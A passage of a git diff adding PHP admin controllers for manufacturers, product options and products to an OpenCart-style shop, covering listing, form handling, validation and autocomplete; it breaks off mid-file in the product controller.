+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+ if (isset($this->request->post['manufacturer_description'])) {
+ $data['manufacturer_description'] = $this->request->post['manufacturer_description'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_description'] = $this->model_catalog_manufacturer->getManufacturerDescriptions($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_description'] = array();
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['name'] = $manufacturer_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (!empty($manufacturer_info)) {
+ $data['heading_title'] = $data['name'] = $manufacturer_info['name'];
+ } else {
+ $data['heading_title'] = $this->language->get('heading_title');
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['manufacturer_store'])) {
+ $data['manufacturer_store'] = $this->request->post['manufacturer_store'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_store'] = $this->model_catalog_manufacturer->getManufacturerStores($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['image'] = $manufacturer_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($manufacturer_info) && is_file(DIR_IMAGE . $manufacturer_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($manufacturer_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['noindex'] = $manufacturer_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['manufacturer_layout'])) {
+ $data['manufacturer_layout'] = $this->request->post['manufacturer_layout'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_layout'] = $this->model_catalog_manufacturer->getManufacturerLayouts($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_layout'] = array();
+ }
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($manufacturer_info)) {
+ $data['sort_order'] = $manufacturer_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($manufacturer_info)) {
+ $products = $this->model_catalog_manufacturer->getProductRelated($this->request->get['manufacturer_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_related'] = array();
+
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_related'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($manufacturer_info)) {
+ $articles = $this->model_catalog_manufacturer->getArticleRelated($this->request->get['manufacturer_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_related'] = array();
+
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_related'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['manufacturer_seo_url'])) {
+ $data['manufacturer_seo_url'] = $this->request->post['manufacturer_seo_url'];
+ } elseif (isset($this->request->get['manufacturer_id'])) {
+ $data['manufacturer_seo_url'] = $this->model_catalog_manufacturer->getManufacturerSeoUrls($this->request->get['manufacturer_id']);
+ } else {
+ $data['manufacturer_seo_url'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/manufacturer_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/manufacturer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ foreach ($this->request->post['manufacturer_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if ($this->request->post['manufacturer_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['manufacturer_id']) || (($seo_url['query'] != 'manufacturer_id=' . $this->request->get['manufacturer_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/manufacturer')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $manufacturer_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByManufacturerId($manufacturer_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/manufacturer');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_manufacturer->getManufacturers($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'manufacturer_id' => $result['manufacturer_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/option.php b/public/admin/controller/catalog/option.php
new file mode 100644
index 0000000..bcfc6ec
--- /dev/null
+++ b/public/admin/controller/catalog/option.php
@@ -0,0 +1,508 @@
+load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_option->addOption($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_option->editOption($this->request->get['option_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/option');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/option');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $option_id) {
+ $this->model_catalog_option->deleteOption($option_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'od.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/option/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/option/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['options'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $option_total = $this->model_catalog_option->getTotalOptions();
+
+ $results = $this->model_catalog_option->getOptions($filter_data);
+
+ foreach ($results as $result) {
+ $data['options'][] = array(
+ 'option_id' => $result['option_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/option/edit', 'user_token=' . $this->session->data['user_token'] . '&option_id=' . $result['option_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . '&sort=od.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . '&sort=o.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $option_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($option_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($option_total - $this->config->get('config_limit_admin'))) ? $option_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $option_total, ceil($option_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/option_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['option_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['option_value'])) {
+ $data['error_option_value'] = $this->error['option_value'];
+ } else {
+ $data['error_option_value'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['option_id'])) {
+ $data['action'] = $this->url->link('catalog/option/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/option/edit', 'user_token=' . $this->session->data['user_token'] . '&option_id=' . $this->request->get['option_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['option_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $option_info = $this->model_catalog_option->getOption($this->request->get['option_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['option_description'])) {
+ $data['option_description'] = $this->request->post['option_description'];
+ } elseif (isset($this->request->get['option_id'])) {
+ $data['option_description'] = $this->model_catalog_option->getOptionDescriptions($this->request->get['option_id']);
+ } else {
+ $data['option_description'] = array();
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($option_info)) {
+ $data['type'] = $option_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($option_info)) {
+ $data['sort_order'] = $option_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['option_value'])) {
+ $option_values = $this->request->post['option_value'];
+ } elseif (isset($this->request->get['option_id'])) {
+ $option_values = $this->model_catalog_option->getOptionValueDescriptions($this->request->get['option_id']);
+ } else {
+ $option_values = array();
+ }
+
+ $this->load->model('tool/image');
+
+ $data['option_values'] = array();
+
+ foreach ($option_values as $option_value) {
+ if (is_file(DIR_IMAGE . $option_value['image'])) {
+ $image = $option_value['image'];
+ $thumb = $option_value['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['option_values'][] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'option_value_description' => $option_value['option_value_description'],
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/option_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/option')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['option_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (($this->request->post['type'] == 'select' || $this->request->post['type'] == 'radio' || $this->request->post['type'] == 'checkbox') && !isset($this->request->post['option_value'])) {
+ $this->error['warning'] = $this->language->get('error_type');
+ }
+
+ if (isset($this->request->post['option_value'])) {
+ foreach ($this->request->post['option_value'] as $option_value_id => $option_value) {
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ if ((utf8_strlen($option_value_description['name']) < 1) || (utf8_strlen($option_value_description['name']) > 128)) {
+ $this->error['option_value'][$option_value_id][$language_id] = $this->language->get('error_option_value');
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/option')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $option_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByOptionId($option_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->language('catalog/option');
+
+ $this->load->model('catalog/option');
+
+ $this->load->model('tool/image');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $options = $this->model_catalog_option->getOptions($filter_data);
+
+ foreach ($options as $option) {
+ $option_value_data = array();
+
+ if ($option['type'] == 'select' || $option['type'] == 'radio' || $option['type'] == 'checkbox' || $option['type'] == 'image') {
+ $option_values = $this->model_catalog_option->getOptionValues($option['option_id']);
+
+ foreach ($option_values as $option_value) {
+ if (is_file(DIR_IMAGE . $option_value['image'])) {
+ $image = $this->model_tool_image->resize($option_value['image'], 50, 50);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 50, 50);
+ }
+
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'name' => strip_tags(html_entity_decode($option_value['name'], ENT_QUOTES, 'UTF-8')),
+ 'image' => $image
+ );
+ }
+
+ $sort_order = array();
+
+ foreach ($option_value_data as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $option_value_data);
+ }
+
+ $type = '';
+
+ if ($option['type'] == 'select' || $option['type'] == 'radio' || $option['type'] == 'checkbox') {
+ $type = $this->language->get('text_choose');
+ }
+
+ if ($option['type'] == 'text' || $option['type'] == 'textarea') {
+ $type = $this->language->get('text_input');
+ }
+
+ if ($option['type'] == 'file') {
+ $type = $this->language->get('text_file');
+ }
+
+ if ($option['type'] == 'date' || $option['type'] == 'datetime' || $option['type'] == 'time') {
+ $type = $this->language->get('text_date');
+ }
+
+ $json[] = array(
+ 'option_id' => $option['option_id'],
+ 'name' => strip_tags(html_entity_decode($option['name'], ENT_QUOTES, 'UTF-8')),
+ 'category' => $type,
+ 'type' => $option['type'],
+ 'option_value' => $option_value_data
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/product.php b/public/admin/controller/catalog/product.php
new file mode 100644
index 0000000..449f135
--- /dev/null
+++ b/public/admin/controller/catalog/product.php
@@ -0,0 +1,1880 @@
+load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+$this->request->post['product_description'] = array_map(function($description){
+
+ $description['description'] = implode("__NEWLINE__", $description['description']);
+ return $description;
+}, $this->request->post['product_description']);
+ $this->model_catalog_product->addProduct($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+$this->request->post['product_description'] = array_map(function($description){
+
+ $description['description'] = implode("__NEWLINE__", $description['description']);
+ return $description;
+}, $this->request->post['product_description']);
+ $this->model_catalog_product->editProduct($this->request->get['product_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $product_id) {
+ $this->model_catalog_product->deleteProduct($product_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
